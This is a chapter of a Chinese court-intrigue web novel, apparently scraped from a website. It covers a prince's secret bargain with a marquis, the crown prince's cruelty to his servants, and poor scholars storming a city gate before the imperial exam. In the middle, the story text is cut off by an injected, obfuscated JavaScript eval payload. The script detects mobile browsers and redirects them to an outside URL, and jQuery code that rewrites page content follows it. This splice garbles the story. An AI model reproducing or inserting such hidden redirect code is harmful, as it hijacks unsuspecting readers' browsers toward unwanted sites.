一个声音回荡在厢房内。
众人齐刷刷循着声音投去目光,竟是许久一言不发的三殿下,夏观复。
他眼角洋溢着微笑,撇开折扇挡着下半张脸,正对上羌川括的眼睛。
接着往下说:“皇兄和羌侯爷的寿礼,礼轻情意重。”
言毕,夏观复挑眉,他瞧见羌川括身旁出现的男子。
“不知?侯爷身边的这位是何人?”夏观复转移话题,引得大家的注意力落在杨然身上。
“这位是流医师收的学徒,跟着一同前来为殿下祝寿的。不过,”羌川括突然停顿一息,后出声解释道,“他先前被太子殿下的人错认成自己的人了,跟随去帮忙了。回来时迷了路,在下意外路过,便随往返了。”
杨然等他说完,马上反应过来,附和“是的”二字。
站在夏观复一侧的赵今收敛笑意,藏不住杀气,他率先开口:“哦?那倒是本殿下教导无方了,改日定重新调教一番。”
说到后面,他咬牙切齿,脸色肉眼可见的沉了下来。
“哎呀!大家都坐了这么久了,也该食用今日的菜肴了。”
夏观复打破僵局,转头又对赵今说了几句话,后者迅速恢复往常模样。
台下众人这才敢开动,羌川括和杨然穿过人群,分别在白芷敛身边一左一右坐了下来。
“今日之事,谢过侯爷。”
白芷敛倾身往羌川括方向靠去,朝他颔首。
羌川括看了她一眼,“不用谢,要谢的话你就改日上门拜访一下三殿下。没有他,今日不会那么成功的。”
三殿下......
白芷敛没有想到还有别人参与进来,神色复杂的移开眼神,往台上的身影看去。
昨夜,夏观复派人送信到羌府给羌川括。
信上写着:杨然一事,可来一叙。
羌川括即刻乘马前去赴约。
毕竟对于杨然的处境,他没有把握,贸然惊动太子和身后的人,风险很大,无法预料后果。
恰好夏观复出现,结了燃眉之急。
骑马来到荒山野岭之地,隐约看见不远前方有一间屋子,屋子里面亮着微弱的光线。
他拴住马绳,孤身推门进屋子。
不出所料,里面坐着给他送信的人。
“见过三殿下。”
羌川括作揖,随后授对方示意落坐在椅子上,面上看不出表情,随即开口说:“殿下所谓何意?”
夏观复没有立刻回应,收起折扇,微笑道:“侯爷眼下不必着急过问我的意思,你只要知道只有我可以帮你。”
一语即出,羌川括不语。
无缘无故的,即知我的难处,又帮我。羌川括压下内心的疑惑,抬头看向对方。
“殿下的条件是什么?”羌川括直接问道。
夏观复笑而不语,只说:“暂且不用,就先当人情寄存在我这里。日后我所需要,必会向你索取。”
羌川括垂眸,他心知没有开条件的帮忙,代价必定大。可救出杨然这一事,无论是对白芷敛,还是对于自己。非救不可,他和白芷敛是同一条船上的人,失去任何一个人,都是很惨重的。这关系羌府的未来,他需要人手。
衡量再三,羌川括攥紧拳头,说了一句“好”。
听到羌川括的话,白芷敛心中有数,看来拜访三殿下是非去不可了。
*
夏观复的生辰寿宴结束,赵今先他一步回到皇宫。
还没推开门,门被一股粗鲁的力量踹开。
“可恶!杨然那里到底怎么回事?!!我不是让人看守了吗?怎么还会被人救出来了?”赵今恶狠狠地质问身边的人。
跟在他身后的下人听到斥责,不禁吓得腿软,全部人跪下来。
“殿下,小人们实属不知啊——”
他们跪爬在冰凉的地面上,紧张的连话里的字都说不清楚了。
赵今可不这么容易放过他们,冷冰冰的语气道:“寿宴上羌川括的话你们是没听到吗?你们玩忽职守,任由别人救走杨然。现下你们跟我说不知?”
周围的温度急骤下降,殿内的温度仿佛与外面的雪景融为一体。
“殿下饶命!殿下饶命!”
赵今唤来门外的侍卫,将下人们一个个的拖出去。
他们的手指抓着雪地,指甲扣出血迹,血迹在白茫茫的雪里晕染开,惨叫声伴随着距离消失不见。
“殿下,查清楚了,羌川括能救出杨然,背后还有一人的推动。”
谬言出现在赵今旁边,躬身禀告道。
“谁?”
“三殿下。”
和自己猜的差不多,赵今眼眸倒映烛火摇曳的光影,咬着牙后槽,憋出一句“三弟,你可了不得啊”。
谬言不敢多言一句话,等了一会才询问怎么做。
“盯紧他们,随时汇报。”
得到答复,谬言摇身消失在冰天雪地的黑夜里。
*
冬日的晨光初透,天际泛起鱼肚白,浓郁烟火气息传遍邑城东南西北街道。
炊饼铺的白汽“呼”的一下蹿上天,消散其中。铺主热情带笑招呼前来等食的行人,一一递过去。
蓦然,一阵惊慌声从不远处的城门传来。
行人还没来得及反应过来,就被人潮挤走,留下不明所以的行人了愣在原地。
“这是发生了什么?”
排队等食里有一人发问。
白芷敛碰巧出来采买,路过此地停下脚步,倾耳聆听。
连忙与他们反方向行走的路人停留喘口气,趁着间隙道明。
原来城门口莫名出现许久背着包袱的青年人,他们像许久没饱腹的难民一样涌了进来。来势汹汹,虽未曾伤及人,但难免大家看了觉得吓人。
留下一番话,路人随着人群一去无影。
白芷敛心中生疑,带着疑问往城门口走去。
杨然作为她的学徒,拎着大包小包的药材跟在她身后。
“流医师,你怎么看?”
“不着急下定论,先去瞧瞧。”
话虽如此,白芷敛的心中已有答案。
距离城门还有一段路,还没走到门口,就被一群布衣青年阻拦视线。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950417|190861||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“放我们进去——”
隔着人群,白芷敛看见城门外的青年们不畏守卫,他们背着包袱,薄弱的身躯同守卫对抗。
守卫终究是抵挡不住,青年们以多对少的人数进入城中。
后头的青年们纷纷紧跟其后,直到全部人顺利进城。
白芷敛收回目光,没有丝毫波澜。她注视他们,发现没有什么异常,便开声与在她面前的一名青年谈话。
“叨扰一下,这位公子,敢问这是发生了何事?”
青年见白芷敛一人,放下防备之心,口气略带松动。
“姑娘有所不知,距春日科举还有不到一个月,我们日夜兼程步行赶到这里。岂料门口的守卫不放我们进来,说什么要有贵人推荐方可放行。我们皆是出身寒门,与邑城相隔千里万里,怎会有认识的人?”青年语气带有些许情绪波动,缓了一会,他继续道,“我们实在无可奈何,只好集体冲了进来。守卫拦不住我们,这才得到机会进来。”
果真,和白芷敛所猜大概吻合。
朝堂动荡,世家权贵为了坚守自己的地盘,出此计谋无外乎是想加强,拉拢人才。
只是,此计谋太过恶毒。寒门子弟寒窗苦读十年,到头来抵不过机关算计,甚至还有可能为他人做嫁衣。
现在他们进了城,后续又会受到什么样的遭遇,不敢设想。
邑城,生吃人血人肉的地方。
回拢思绪,白芷敛道:“那你们之后什么打算?”
青年支支吾吾,半天才回道:“其实,我们也不是很清楚。反正我们大家的共同目标是公平竞争科举,至于现在的情况,我们会齐心协力去应付的。”
到嘴边的话,白芷敛没有启唇。
她深知,一旦进入邑城,说什么齐心协力应对,到头来只要里面有人接受了权贵抛来的橄榄枝,唯恐不会像失去理智的猛兽蜂拥而至。
“既如此,祝公子们科举成功。在邑城期间若是有什么需要相助的地方,可以前来白川馆寻我。”
话毕,白芷敛和杨然离去。
回到医馆,杨然放下手中的药材,问:“流医师,你这是要插手这件事吗?”
白芷敛怔住,她转过身,“并非心有怜悯,只是觉得此次,他们可以为我们帮师父报仇争得机会。”
若是没记错,刚才人群里面,有父亲曾资助过的人。她不太确定,需要借助羌川括搞到他们的名单。
她背后构建的组织,调查到当年与杨然一起要科举的寒门子弟,他们被抓进若相见酒楼以后,早在两年内就不知所踪了。
她推测这些人定是背后有人出手相救,助他们逃离了邑城。
刚才城门口的场景,也绝非意外,很有可能是当年逃走的寒门子弟受人指意故意掀起这场闹剧的。
说什么要贵人推荐才可以入城,怕不是哪个“贵人”要倒大霉了……
白芷敛鲜少觉得如此有趣,心中有几分拭目以待。
敌人的敌人就是盟友,不出今日,城门口的状况估计是到了赵智的耳旁。
窗外的大雪已然消散,地面上的雪悄悄溜走。